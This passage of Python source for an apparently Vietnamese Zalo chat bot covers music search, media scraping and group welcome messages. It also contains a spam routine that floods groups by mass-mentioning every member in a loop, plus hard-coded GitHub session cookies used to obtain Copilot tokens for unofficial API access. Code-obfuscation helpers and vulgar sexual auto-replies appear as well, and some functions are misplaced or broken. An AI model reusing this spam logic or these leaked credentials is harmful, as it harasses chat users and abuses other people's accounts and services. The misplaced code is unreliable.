				messagess = re.compile(r'(?<!_)_{3}(?!_)').sub(lambda m: random.choice(["lồn", "cặc"]), messagess)

			if messagess == "gay nặng luôn anh ơiiii":
				messagess = "gay con cặc"
			elif messagess == "ăn cức":
				messagess = "bú lỗ đít t đi"
			elif messagess == "Tôi không biết làm thế nào để trả lời. Dạy tôi câu trả lời.":
				messagess = "Em hk bt gì hết"
			elif messagess == "dạ chuẩn em ngu":
				messagess = "Ngu db ngủ đi"
			elif messagess == "gâu gâu":
				messagess = "Sủa con cặc"
			elif messagess == "fuck me pls ahh":
				messagess = "ok db"
			elif messagess == "Em muốn chịch":
				messagess = "Má db"
			elif messagess == "ok a. nứng r":
				messagess = "đéo"
			elif messagess == "Tụt quần luôn, nhanh!":
				messagess = "Tao con trai!"
			elif messagess == "hãy ăn thịt em đi. em nguyện hiến dâng.":
				messagess = "Kệ mày"
			elif messagess == "e nguyện làm nô lệ tình dục cho anh Bách suốt đời ạ":
				messagess = "cc"
			elif messagess == "dai vâng em óc súc vật giống thằng tân anh ạ":
				messagess = "sủa gì v"
			elif messagess == "bede":
				messagess = "cac"
			elif messagess == "Tôi không biết làm thế nào để trả lời. Dạy tôi câu trả lời":
				messagess = "Em hk bt gì hết"
			elif messagess == "vâng tôi là chó":
				messagess = "Nói dì nói lại nghe coi"
			elif messagess == "Gâu gâu quạc quạc":
				messagess = "meow"
			mention = Mention(author_id, length=7, offset=0)
			me = "@member "
			me += messagess.replace("_", "").strip()
			# time.sleep(human_typing_sleep(me, wpm=180))
			self.replyMessage(Message(text=me, mention=mention), message_object, thread_id, thread_type)


	def fetchYtVideo(self, videoUrl):
		url = "https://iloveyt.net/proxy.php"
		headers = {
			"sec-ch-ua-platform": "\"Android\"",
			"x-requested-with": "XMLHttpRequest",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36",
			"accept": "*/*",
			"sec-ch-ua": "\"Chromium\";v=\"134\", \"Not:A-Brand\";v=\"24\", \"Google Chrome\";v=\"134\"",
			"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
			"sec-ch-ua-mobile": "?1",
			"origin": "https://iloveyt.net",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": "https://iloveyt.net/en2",
			"accept-encoding": "gzip, deflate, br, zstd",
			"accept-language": "en-US,en;q=0.9,vi;q=0.8,pt;q=0.7",
			"priority": "u=1, i"
		}
		data = {
			"url": videoUrl
		}
		response = requests.post(url, headers=headers, data=data)
		print(response)
		print(response.text)
		video_title = response.json().get('api', {}).get('title', 'N/A')
		video_url = response.json().get('api', {}).get('previewUrl', '')
		media_items = response.json().get('api', {}).get('mediaItems', [])
		first_video = None
		for item in media_items:
			if item.get('type') == 'Video':
				first_video = item
				break

		if first_video:
			thumbnail = first_video.get('mediaThumbnail', '')
			duration = first_video.get('mediaDuration', '')
			parts = duration.split(':')
			parts = list(map(int, parts))
			if len(parts) == 3:
				hours, minutes, seconds = parts
			elif len(parts) == 2:
				hours = 0
				minutes, seconds = parts
			else:
				hours = 0
				minutes = 0
				seconds = parts[0]
			duration = (hours * 3600 + minutes * 60 + seconds) * 1000
			media_res = first_video.get('mediaRes', '')
			width, height = None, None
			if media_res and 'x' in media_res:
				width, height = media_res.split('x')

			return {"title": video_title, "videoUrl": video_url, "thumbnail": thumbnail, "duration": duration, "width": width, "height": height}

		else:
			return None

	def get_url_down(self, progressive_url):
		params = {"client_id": "KKzJxmw11tYpCs6T24P4uUYhqmjalG6M"}
		try:
			response = self._session.get(progressive_url, headers=self.headers, params=params)
			response.raise_for_status()
			response_json = response.json()
			check = response_json.get('data', None)
			if check:
				url = check.get('url', None)
			else:
				url = response_json.get('url', None)
			return url if url else False
		except requests.RequestException as e:
			print(f"Error in get_url_down: {e}")
			return False

	def catbox(self, url, thread_id, thread_type):
		file_name = os.path.basename(url).split('?')[0]
		url = asyncio.run(self.uploadFileAsync(file_url=url, thread_id=thread_id, thread_type=thread_type)) + f"/{file_name.replace('.mp3', '.aac')}"
		print(url)
		return url

	def find_with_keyword(self, keyword):
		params = {
			'q': keyword,
			'client_id': 'KKzJxmw11tYpCs6T24P4uUYhqmjalG6M',
			'stage': '',
		}
		try:
			response = self._session.get('https://api-mobi.soundcloud.com/search', params=params, headers=self.headers).json()
			return response
		except requests.RequestException as e:
			print(f"Error in find_with_keyword: {e}")
			return False

	def convertMillis(self, millis):
		millis = int(millis)
		seconds = int(millis / 1000) % 60
		minutes = int(millis / (1000 * 60)) % 60
		hours = int(millis / (1000 * 60 * 60))
		return f'{hours}:{minutes}:{seconds}'

	def process_music_collection(self, concac, author_id, message_object, thread_id, thread_type):
		collection = concac['collection']
		collection = [x for x in collection if list(x.keys())[0] != 'avatar_url']
		response_text = ''
		styles = []
		n = 0
		styles.append(MessageStyle(offset=0, length=1000, style='font', size='13', auto_format=False))
		styles.append(MessageStyle(offset=0, length=1000, style='color', color='ced6f0', auto_format=False))
		self.user_data[author_id] = []
		for data in collection:
			z = data.get('media', {}).get('transcodings', [])
			if not z:
				continue
			n += 1
			# print(data)
			title = data['title']
			duration = data['duration']
			avt = data['artwork_url']
			if avt:
				avt = avt.replace('-large', '-t500x500')
			link = next((khoi['url'] for khoi in z if khoi['format']['protocol'] == 'progressive'), None)
			response_text += f'{n} • {title} || {self.convertMillis(duration)}\n'
			self.user_data[author_id].append({'link': link, 'duration': duration, 'title': title, 'avt': avt})
			styles.append(MessageStyle(offset=self.get_count(response_text, '•')[n-1], length=1, style='color', color='b3d9b0', auto_format=False))

		style = MultiMsgStyle(styles)
		self.replyMessage(Message(text=response_text, style=style), message_object, thread_id, thread_type,ttl=30000)
		styles.append(MessageStyle(offset=0, length=1000, style='font', size='13', auto_format=False))
		styles.append(MessageStyle(offset=0, length=1000, style='color', color='ced6f0', auto_format=False))
		styles.append(MessageStyle(offset=0, length=1, style='color', color='b3d9b0', auto_format=False))
		style = MultiMsgStyle(styles)
		self.replyMessage(Message(text='• Reply để chọn bài hát hoặc chọn 0 để thoát', style=style), message_object, thread_id, thread_type, ttl=30000)
		self.next_step[author_id] = 'wait_select'

	def handle_selection(self, message_content, message_object, thread_id, thread_type, author_id):
		styles = []
		styles.append(MessageStyle(offset=0, length=1000, style='font', size='13', auto_format=False))
		styles.append(MessageStyle(offset=0, length=1000, style='color', color='ced6f0', auto_format=False))
		style = MultiMsgStyle(styles)

		# if not message_object.quote:
			# self.replyMessage(Message(text="• Vui lòng reply tin nhắn", style=style), message_object, thread_id, thread_type, ttl=30000)
			# self.next_step.pop(author_id, None)
			# self.user_data.pop(author_id, None)


		try:
			match = re.search(r'\d+', message_content)
			if match:
				if int(match.group()) == 0:
					self.next_step.pop(author_id, None)
					self.user_data.pop(author_id, None)
					self.replyMessage(Message(text="• Đã thoát trình chọn nhạc", style=style), message_object, thread_id, thread_type, ttl=30000)
				else:
					selection = int(match.group()) - 1
			else:
				return


			selected_song = self.user_data[author_id][selection]
			self.next_step.pop(author_id, None)
			self.user_data.pop(author_id, None)
			url_down = selected_song['link']
			self.duration = selected_song['duration']
			title = selected_song['title']
			self.replyMessage(Message(text='• Watinggg', style=style), message_object, thread_id, thread_type,ttl=30000)
			self.next_step.pop(author_id, None)
			self.user_data.pop(author_id, None)
			url = self.get_url_down(url_down)
			if url:
				# print(url)
				voice_url = self.catbox(url, thread_id, thread_type)
				if voice_url:
					self.sendImage(imagelink=selected_song['avt'], thread_id=thread_id, thread_type=thread_type, ttl=21600000)
					self.sendRemoteVoice(voice_url, thread_id, thread_type, ttl=21600000)
					self.replyMessage(Message(text=f"• {title}", style=style), message_object, thread_id, thread_type, ttl=21600000)


		except Exception as e:
			print(e)

	def handle_scl_command(self, message_content, message_object, thread_id, thread_type, author_id):
		args = message_content.split()
		styles = []
		styles.append(MessageStyle(offset=0, length=1000, style='font', size='13', auto_format=False))
		styles.append(MessageStyle(offset=0, length=1000, style='color', color='ced6f0', auto_format=False))
		style = MultiMsgStyle(styles)

		if len(args) < 2:
			self.replyMessage(Message(text=f"• dùng {self.prefix}scl [tên bài hát]", style=style), message_object, thread_id, thread_type)
			return

		keyword = message_content[5:].strip()
		concac = self.find_with_keyword(keyword)
		# {'collection': [], 'total_results': 0, 'query_urn': 'soundcloud:search:fd3dc06a2c0a4c558c0378fe04261a32'}
		if int(concac.get('total_results')) == 0:
			self.replyMessage(
				Message(text="• No results found", style=style),
				message_object, thread_id, thread_type)
			return

		self.process_music_collection(concac, author_id, message_object, thread_id, thread_type)

	def reset_user(self, thread_id):
		if thread_id in self.thangvuanhan:
			self.thangvuanhan.remove(thread_id)
			print(f"User {thread_id} đã được đặt lại.")

	def fetch_out_join(self):
		while not self.stop_event.is_set():
			cac = list(self.all_group.items())
			for gr_id, dict_inf in cac:
				gr_inf = self.fetchGroupInfo(gr_id).gridInfoMap
				join_dict = gr_inf[gr_id]
				list_uid = join_dict['memVerList']
				gr_name = join_dict['name']
				count_old = dict_inf['count']
				list_uid_old = dict_inf['list_uid']
				if len(list_uid) > count_old:
					self.all_group[gr_id]['count'] += 1
					id_new_mem = list_uid[(len(list_uid) - count_old) - 1]#list_uid[0] if len(list_uid) - count_old == 0 else 
					self.all_group[gr_id]['list_uid'] = list_uid#.append(id_new_mem)
					ls = []
					text = '🪂 Welcome to Group\n'
					ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
					ls.append(MessageStyle(offset=0, length=19, style='bold', auto_format=False))
					text += '───────────\n'
					ls.append(MessageStyle(offset=20, length=11, style='color', color='585b70', auto_format=False))
					text += f'• Welcome @Member to {gr_name}, a place to chill and hangout with the community.\n\n'
					ls.append(MessageStyle(offset=32, length=1, style='color', color='f9b387', auto_format=False))
					mention = Mention(uid=id_new_mem.split('_')[0], length=7, offset=42)
					ls.append(MessageStyle(offset=42, length=7, style='color', color='a3c1f2', auto_format=False))
					ls.append(MessageStyle(offset=33, length=8, style='color', color='ced6f0', auto_format=False))
					text += f'| You are the {self.all_group[gr_id]["count"]}th member of the group.'
					ls.append(MessageStyle(offset=50, length=3000, style='color', color='ced6f0', auto_format=False))
					msg = Message(text=text, style=MultiMsgStyle(ls), mention=mention)
					self.send(msg, thread_id=gr_id, thread_type=ThreadType.GROUP)
				elif len(list_uid) < count_old:
					self.all_group[gr_id]['count'] -= 1
					#bulon = list_uid_old
					id_out = list(set(self.all_group[gr_id]['list_uid']) - set(list_uid))[(count_old-len(list_uid))-1]
					#bulon.remove(id_out)
					self.all_group[gr_id]['list_uid'].remove(id_out)
					ls = []
					text = '👋🏻 Goodbye\n'
					ls.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
					ls.append(MessageStyle(offset=0, length=12, style='bold', auto_format=False))
					text += '──────\n'
					ls.append(MessageStyle(offset=13, length=6, style='color', color='585b70', auto_format=False))
					text += '• @Member is no longer a member of this group...'
					ls.append(MessageStyle(offset=20, length=1, style='color', color='f9b387', auto_format=False))
					ls.append(MessageStyle(offset=22, length=7, style='color', color='a3c1f2', auto_format=False))
					ls.append(MessageStyle(offset=30, length=3000, style='color', color='ced6f0', auto_format=False))
					mention = Mention(uid=id_out.split('_')[0], length=7, offset=22)
					msg = Message(text=text, style=MultiMsgStyle(ls), mention=mention)
					self.send(msg, thread_id=gr_id, thread_type=ThreadType.GROUP)

	def set_welcome(self, thread_id):
		if thread_id not in self.all_group:
			gr_inf = self.fetchGroupInfo(thread_id).gridInfoMap
			list_uid = gr_inf[thread_id]['memVerList']
			#uid = list_uid[0].split('_')[0]
			self.all_group[thread_id] = {'count': len(list_uid), 'list_uid': list_uid}
			return gr_inf[thread_id]['name']
		return False


	def gradient_text(text, start_color, end_color):
		gradient_text = ""
		length = len(text)

	def obf_import(self, code):
		self.imports_ = []
		tree = ast.parse(code)
		for node in ast.walk(tree):
			if isinstance(node, ast.Import):
				for name in node.names:
					self.imports_.append(name)
			elif isinstance(node, ast.ImportFrom):
				module = node.module
				for name in node.names:
					if name.name == '*':
						self.imports_.append((module, '*'))
					else:
						self.imports_.append((module, name.name, name.asname))

		result_lines = code.splitlines()
		for i, line in enumerate(result_lines):
			if line.startswith('import') or line.startswith('from'):
				result_lines[i] = ''
		for imp in self.imports_:
			if isinstance(imp, tuple):
				if imp[1] == '*':
					result_lines.insert(0, f'from {imp[0]} import *')
				elif imp[2]:
					if '.' in imp[0]:
						result_lines.insert(0, f'from {imp[0]} import {imp[1]} as {imp[2]}')
					else:
						result_lines.insert(0, f"{imp[2]} = __import__('{imp[0]}').{imp[1]}")
				else:
					if '.' in imp[0]:
						result_lines.insert(0, f'from {imp[0]} import {imp[1]}')
					else:
						result_lines.insert(0, f"{imp[1]} = __import__('{imp[0]}').{imp[1]}")
			else:
				result_lines.insert(0, f"{imp.asname if imp.asname else imp.name} = __import__('{imp.name}')")
		return '\n'.join(result_lines)

	def obf_spam(self, code):
		alphabet, length = "_Ox" + ''.join(random.choices([str(i) for i in range(10)], k=6)), 17
		settings = ObfuscatorSettings()
		setting = ast.parse(code)
		setting = ast.unparse(setting)
		settings.biopaque_transformer(alphabet, length, False)
		settings.call_transformer()
		settings.exceptionjmp_transformer(alphabet, length)
		tree = ast.parse(setting)
		for transformer in settings.transformers:
			tree = transformer.proceed(tree)
		return ast.unparse(tree)

	def getToken(self):
		headers = {
			"Host": "github.com",
			"content-length": "0",
			"sec-ch-ua-platform": "\"Android\"",
			"sec-ch-ua": "\"Not)A;Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"138\", \"Google Chrome\";v\u003d\"138\"",
			"sec-ch-ua-mobile": "?1",
			"x-github-client-version": "369ce62790f8a838a8deb3da197badd23d652799",
			"x-requested-with": "XMLHttpRequest",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36",
			"accept": "application/json",
			"github-verified-fetch": "true",
			"content-type": "application/json",
			"x-fetch-nonce": "v2:c5da6049-a9f4-c49b-580f-2bb5804330b4",
			"origin": "https://github.com",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": "https://github.com/copilot",
			"accept-encoding": "gzip, deflate, br, zstd",
			"accept-language": "en-US,en;q\u003d0.9,vi;q\u003d0.8,pt;q\u003d0.7",
			"cookie": "_octo=GH1.1.1501641320.1742738725;GHCC=Required:1-Analytics:1-SocialMedia:1-Advertising:1;MicrosoftApplicationsTelemetryDeviceId=45781d3c-a54b-4512-b79e-6ce96062377d;_device_id=c53588d760ddeeec1bb771b6f0a7e3ed;MSFPC=GUID=98f11e5f6e2248c7832dd7b00295e518&HASH=98f1&LV=202503&V=4&LU=1742738733979;saved_user_sessions=222665430%3AxARJBF5dTUQidvi1oj8ph9zuHw9qwVhd_yvAPKTd18KTaQc8%7C179203264%3AT3XRmZUb2vyHy1Rat-dSORG-i8ffh1Gwn2sNK-88JBM9GhNC;user_session=T3XRmZUb2vyHy1Rat-dSORG-i8ffh1Gwn2sNK-88JBM9GhNC;__Host-user_session_same_site=T3XRmZUb2vyHy1Rat-dSORG-i8ffh1Gwn2sNK-88JBM9GhNC;logged_in=yes;dotcom_user=HoanQue;color_mode=%7B%22color_mode%22%3A%22auto%22%2C%22light_theme%22%3A%7B%22name%22%3A%22light%22%2C%22color_mode%22%3A%22light%22%7D%2C%22dark_theme%22%3A%7B%22name%22%3A%22dark%22%2C%22color_mode%22%3A%22dark%22%7D%7D;cpu_bucket=lg;preferred_color_mode=dark;tz=Asia%2FSaigon;_gh_sess=cwlcqIhaEeKMbieExQ%2Fgpnc19cJNKCPvc3Ujx0Q9%2BvucgFxqK%2F7PZZYnznfc8n%2B0XqD8MzoDn5s%2Bry1R%2FqI8ha3kSnXS0xA68nlgVTPWTIulippY%2BpH%2FLpKTENQAtmSZdw3J5YDhSjcgMuBxfBJbyMVLTqn1JELjnadwntVg8j8Y1Ybajqsf4FlLaoJGoIBszssf07oWn3cRyBAAtEXseZMyWABoSZ5XFicYZN%2BVxHbwU%2FKVwquPG3Qr%2BkW8qRUJDXhKmKo12keOzLeInGcFz4w4ETzsiGaMnd3uNThIulNwrEs0R7yVo1uJDgH%2FuQI7KlCbhQ%3D%3D--GpH1sLESUsYeSfmz--JHxNSlXMJyYvsWd2vtpWXA%3D%3D",
			"priority": "u\u003d1, i"
		}
		response = self._session.post("https://github.com/github-copilot/chat/token", headers=headers)
		return response.json()['token']

	def gpt(self, ask):
		if self.tokenGithub == None:
			self.tokenGithub = self.getToken()
		headers = {
			"Host": "api.individual.githubcopilot.com",
			"content-length": "383",
			"cache-control": "max-age\u003d0",
			"sec-ch-ua-platform": "\"Android\"",
			"authorization": "GitHub-Bearer " + self.tokenGithub,
			"copilot-integration-id": "copilot-chat",
			"sec-ch-ua": "\"Not)A;Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"138\", \"Google Chrome\";v\u003d\"138\"",
			"sec-ch-ua-mobile": "?1",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36",
			"content-type": "text/event-stream",
			"x-github-api-version": "2025-05-01",
			"accept": "*/*",
			"origin": "https://github.com",
			"sec-fetch-site": "cross-site",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": "https://github.com/",
			"accept-encoding": "gzip, deflate, br, zstd",
			"accept-language": "en-US,en;q\u003d0.9,vi;q\u003d0.8,pt;q\u003d0.7",
			"priority": "u\u003d1, i"
		}
		payload = {
			"responseMessageID": "7429b336-85f3-4302-8b58-5b045f1ecd77", 
			"content": ask, 
			"intent": "conversation", 
			"references": [], 
			"context": [], 
			"currentURL": "https://github.com/copilot/", 
			"streaming": False, 
			"confirmations": [], 
			"customInstructions": [], 
			"model": "gpt-4.1", 
			"mode": "immersive", 
			"parentMessageID": "root", 
			"tools": [], 
			"mediaContent": [], 
			"skillOptions": {
				"deepCodeSearch": True
			}, 
			"requestTrace": True
		}
		response = self._session.post("https://api.individual.githubcopilot.com/github/chat/threads/569e429e-caf9-4350-bd23-4d7a6335eed4/messages?", headers=headers, json=payload, stream=True)
		return response.json()['message']['content']

	def get_group_name(self, thread_id):
		gr_inf = self.fetchGroupInfo(thread_id).gridInfoMap
		name = gr_inf[thread_id]['name']
		return name

		for i, char in enumerate(text):
			r = int(start_color[0] + (end_color[0] - start_color[0]) * i / (length - 1))
			g = int(start_color[1] + (end_color[1] - start_color[1]) * i / (length - 1))
			b = int(start_color[2] + (end_color[2] - start_color[2]) * i / (length - 1))
			color = f'#{r:02x}{g:02x}{b:02x}'
			gradient_text += f'<font color="{color}">{char}</font>'

		return gradient_text

	def generate_random_string(self, length):
		characters = string.ascii_letters + string.digits
		return ''.join(random.choice(characters) for _ in range(length))

	def get_count(self, string: str, word: str) -> list:
		indices = []
		start = 0
		while True:
			idx = string.find(word, start)
			if idx == -1:
				break
			indices.append(idx)
			start = idx + 1
		return indices


	def count(self, string: str, word: str) -> list:
		indices = []
		start = 0
		while True:
			idx = string.find(word, start)

			if idx == -1:
				break

			indices.append(idx)
			start = idx + 1

		return indices

	def spamMessages(self, message_object, thread_id, thread_type):
		group = self.fetchGroupInfo(thread_id)
		group_info = group.gridInfoMap[thread_id]      
		mem_ver_list = group_info['memVerList']
		cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
		mentions = []
		for user_id in cleaned_list:
			mentions.append(Mention(user_id, offset=0, length=3000, auto_format=False))
			# time.sleep(0.00001)
		cc = MultiMention(mentions)

		def sksjjdjdh():
			while self.is_spamming:
				self.sendImage(imagelink='https://f27-zfcloud.zdn.vn/512352a888e229bc70f3/3203464912244520753', thread_id=thread_id, thread_type=thread_type, width=100, height=100_0000)
				time.sleep(1)

		self.thread_handsome.submit(sksjjdjdh)
		if isinstance(self.spam_content, list):
			for i in self.spam_content:
				self.send(Message(text=str(i), mention=cc), thread_id, thread_type, ttl=1)
				time.sleep(0.5)
				if self.is_spamming == False:
					break
		else:
			while self.is_spamming:
				self.send(Message(text=str(self.spam_content), mention=cc), thread_id, thread_type, ttl=1)
				time.sleep(0.5)



	def lmasf(self, siusiugay):
		if message_object.quote['globalMsgId'] == siusiugay:
			print('gat')

	def get_all_high_quality_images(self, query, max_pages=5):
		headers = {
			"Host": "www.pinterest.com",
			"sec-ch-ua-platform-version": "\"10.0.0\"",
			"sec-ch-ua-full-version-list": "\"Chromium\";v=\"134.0.6998.135\", \"Not:A-Brand\";v=\"24.0.0.0\", \"Google Chrome\";v=\"134.0.6998.135\"",
			"sec-ch-ua-platform": "\"Android\"",
			"sec-ch-ua": "\"Chromium\";v=\"134\", \"Not:A-Brand\";v=\"24\", \"Google Chrome\";v=\"134\"",
			"sec-ch-ua-model": "\"CPH1825\"",
			"sec-ch-ua-mobile": "?1",
			"screen-dpr": "2.549999952316284",
			"x-pinterest-pws-handler": "www/search/[scope].js",
			"x-app-version": "5fcb879",
			"x-requested-with": "XMLHttpRequest",
			"accept": "application/json, text/javascript, */*, q=0.01",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36",
			"x-pinterest-appstate": "active",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": "https://www.pinterest.com/",
			"accept-encoding": "gzip, deflate, br, zstd",
			"accept-language": "en-US,en;q=0.9,vi;q=0.8,pt;q=0.7",
			"priority": "u=1, i"
		}

		base_url = "https://www.pinterest.com/resource/BaseSearchResource/get/"
		all_images = []
		bookmark = None

		for page in range(max_pages):
			options = {
				"appliedProductFilters": "---",
				"auto_correction_disabled": False,
				"query": query,
				"scope": "pins",
				"source_url": f"/search/pins/?q={urlencode({'q': query})}&rs=typed",
				"top_pin_id": None,
				"page_size": 1
			}
			if bookmark:
				options["bookmarks"] = [bookmark]

			params = {
				"source_url": f"/search/pins/?q={urlencode({'q': query})}&rs=typed",
				"data": json.dumps({"options": options, "context": {}}),
				"_": str(int(time.time() * 1000))
			}

			response = self._session.get(base_url, headers=headers, params=params)

			if response.status_code != 200:
				break

			data = response.json()
			results = data.get("resource_response", {}).get("data", {}).get("results", [])

			for pin in results:
				images = pin.get("images", {})
				if "736x" in images:
					image = images["736x"]
				elif "236x" in images:
					image = images["236x"]
				elif "170x" in images:
					image = images["170x"]
				else:
					continue

				# all_images.append({
					# "url": image.get("url"),
					# "width": image.get("width"),
					# "height": image.get("height")
				# })
				all_images.append(image.get("url"))

			bookmark = data.get("resource_response", {}).get("bookmark")
			if not bookmark or not results:
				break


		return all_images

	def check_minecraft_server(self, sv):
		try:
			server = JavaServer.lookup(str(sv))
			status = server.status()
			server_info = {
				'description': status.description,
				'players_online': status.players.online,
				'max_players': status.players.max,
				'version': status.version.name,
				'protocol': status.version.protocol
			}
			return server_info
		except Exception as e:
			return str(e)

	def dumps_int_keys_pretty(self, obj: Any, indent: int = 2, ensure_ascii: bool = False) -> str:
		def _ser(o, level):
			sp = ' ' * (level * indent)
			inner_sp = ' ' * ((level + 1) * indent)
			if isinstance(o, dict):
				if not o:
					return "{}"
				parts = []
				for k, v in o.items():
					if isinstance(k, int):
						key_text = str(k)
					else:
						key_text = json.dumps(k, ensure_ascii=ensure_ascii)
					parts.append(f"{inner_sp}{key_text}: {_ser(v, level + 1)}")
				return "{\n" + ",\n".join(parts) + "\n" + sp + "}"
			elif isinstance(o, list):
				if not o:
					return "[]"
				parts = [f"{inner_sp}{_ser(item, level + 1)}" for item in o]
				return "[\n" + ",\n".join(parts) + "\n" + sp + "]"
			else:
				return json.dumps(o, ensure_ascii=ensure_ascii)
	
		return _ser(obj, 0)


	def onHandle(self, mid, author_id, message, message_object, thread_id, thread_type):
		global step, idthanggui, groupnhan, ditme, msgidd, thumbnail, videourl, tokens

		msg_history = []
		msgidd = ""
		# message = "..spwm group All"
		# author_id = "7711754660468580715"
		# thread_id = "7380324884134553991"
		# thread_type = ThreadType.GROUP
		msg_history.append(message_object)
		khoidz = []
		khoidz.append(MessageStyle(offset=0, length=3000, style='font', size='13', auto_format=False))
		khoidz.append(MessageStyle(offset=0, length=1, style='color', color='f9b387', auto_format=False))
		khoidz.append(MessageStyle(offset=2, length=3000, style='color', color='ced6f0', auto_format=False))
		# if isinstance(message_object.content, dict):
			# href = message_object.content.get('href', '').lower()

			# if any(substring in href for substring in ["zalo.me/g/"]):
				# self.joinbox(href)
		# if "zalo.me/g/" in message:
			# self.joinbox(message)
		# id in card
		# if message_object.msgType == 'chat.recommended':
			# nd = message_object.content.get('params')
			# if nd.isdigit():
				# self.replyMessage(Message(text=str(nd)), message_object, thread_id, thread_type, ttl=60000)
		if thread_type == ThreadType.USER and self.uid != author_id and thread_id not in self.thangvuanhan and self.myName == "Tahn Dz":
			noquyen = "• Chào Bạn Đây Là Tin Nhắn Tự Động Của Bot Tahn.\n• Đây Là Tài Khoản Bot Của Tôi Vui Lòng IB Để Được Hỗ Trợ: https://zaloapp.com/qr/p/19h94p1v7aily"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=79, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="##74c7ec", auto_format=False), MessageStyle(offset=1, length=44, style="color", color="#cdd6f4", auto_format=False), MessageStyle(offset=45, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=46, length=42, style="color", color="#cdd6f4", auto_format=False)])
			self.send(Message(text=noquyen, style=style_error), thread_id, thread_type=ThreadType.USER)
			self.thangvuanhan.append(thread_id)
			time.sleep(600)
			self.thangvuanhan.remove(thread_id)
			
		if thread_type == ThreadType.GROUP and thread_id == "5240155265255811310" and message_object.msgType == "share.file":
			url = message_object.content.href.replace("\\", "")
			params = json.loads(message_object.content.params)
			fileSize = int(params.get("fileSize"))
			checksum = params.get("checksum")
			fileExt = params.get("fileExt")
			fileName = message_object.content.title
			if fileSize < 3145000:
				content = requests.get(url).content
				if isinstance(content, bytes):
					try:
						dec = vrxx.decode_protobuf_packet(vrxx.Decrypt_API(content))
						print(dec)
						text = self.dumps_int_keys_pretty(dec, indent=4)
						print(text)
						lines = text.splitlines(keepends=True)
						chunks = []
						current = ""
						for line in lines:
							if len(current) + len(line) > 3000:
								chunks.append(current)
								current = ""
							current += line
						if current:
							chunks.append(current)
						for part in chunks:
							# print(part)
							self.replyMessage(Message(text=part), message_object, thread_id, thread_type)
	
					except Exception:
						# traceback.print_exc()
						try:
							dec = vrxx.decode_protobuf_packet(content)
							# print(dec)
							dec = self.dumps_int_keys_pretty(dec, indent=4)
							# print(dec)
							text = str(dec)
							# print(text)
							lines = text.splitlines(keepends=True)
							chunks = []
							current = ""
							for line in lines:
								if len(current) + len(line) > 3000:
									chunks.append(current)
									current = ""
								current += line
							if current:
								chunks.append(current)
							for part in chunks:
								# print(part)
								self.replyMessage(Message(text=part), message_object, thread_id, thread_type)
	
						except Exception:
							pass
							# dec = vrxx.parse_protobuf(content)
							# print(dec)
							# dec = self.dumps_int_keys_pretty(dec, indent=4)
							# print(dec)
			
			try:
				if fileSize < 3145000:
					# print("file bé hơn 100mb")
					# print(url)
					fileUrl = self.renewLink(url=url, thread_id=self._state._config.get("cloud_id"), fileSize=1000, fileName=fileName, fileChecksum=checksum, extension=fileExt)
					# print(fileUrl)
					if "error" not in fileUrl:
						fileUrl = fileUrl.fileUrl + "/" + fileName
					else:
						fileUrl = asyncio.run(self.uploadFileAsync(file_url=url, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER, fileSize=fileSize))
						if fileUrl == None:
							fileUrl = self.UploadFileUrl(fileUrl=url, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER)
						else:
							fileUrl = fileUrl + "/" + fileName
				else:
					fileUrl = asyncio.run(self.uploadFileAsync(file_url=url, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER)) + "/" + fileName
					#self.UploadFileUrl(fileUrl=url, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER, headers=headers)#asyncio.run(self.uploadFileAsync(file_url=url, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER, headers=headers))
			except Exception as e:
				traceback.print_exc()
			self.replyMessage(Message(text=str(fileUrl)), message_object, thread_id, thread_type)
		if message == self.prefix + f"?":
			try:
				index = 0
				styles = []
				positions = []
				uptime_seconds = time.time() - start_time
				uptime_days = int(uptime_seconds // 86400)
				uptime_hours = int((uptime_seconds % 86400) // 3600)
				uptime_minutes = int((uptime_seconds % 3600) // 60)
				uptime_seconds = int(uptime_seconds % 60)
				uptime_parts = []

				if uptime_days > 0:
					uptime_parts.append(f"{str(uptime_days).zfill(2)} ngày")
				if uptime_hours > 0:
					uptime_parts.append(f"{str(uptime_hours).zfill(2)} giờ")
				if uptime_minutes > 0:
					uptime_parts.append(f"{str(uptime_minutes).zfill(2)} phút")

				uptime_parts.append(f"{str(uptime_seconds).zfill(2)} giây")

				uptime_bot = "Uptime: " + ", ".join(uptime_parts)

				mem = psutil.virtual_memory()
				total_ram = mem.total / (1000 ** 2)
				used_ram = mem.used / (1024 ** 2)
				ram_using = total_ram - used_ram
				check_ram = f"RAM: {ram_using:.2f}/{total_ram:.2f} MB"
				user_ids = self.selid
				info = self.fetchUserInfo(user_ids)
				info = info.unchanged_profiles or info.changed_profiles
				info = info[str(user_ids)]
				lastAction = info.lastActionTime
				lastAction = lastAction / 1000
				timeAction = datetime.datetime.fromtimestamp(lastAction)
				current_time = datetime.datetime.now()
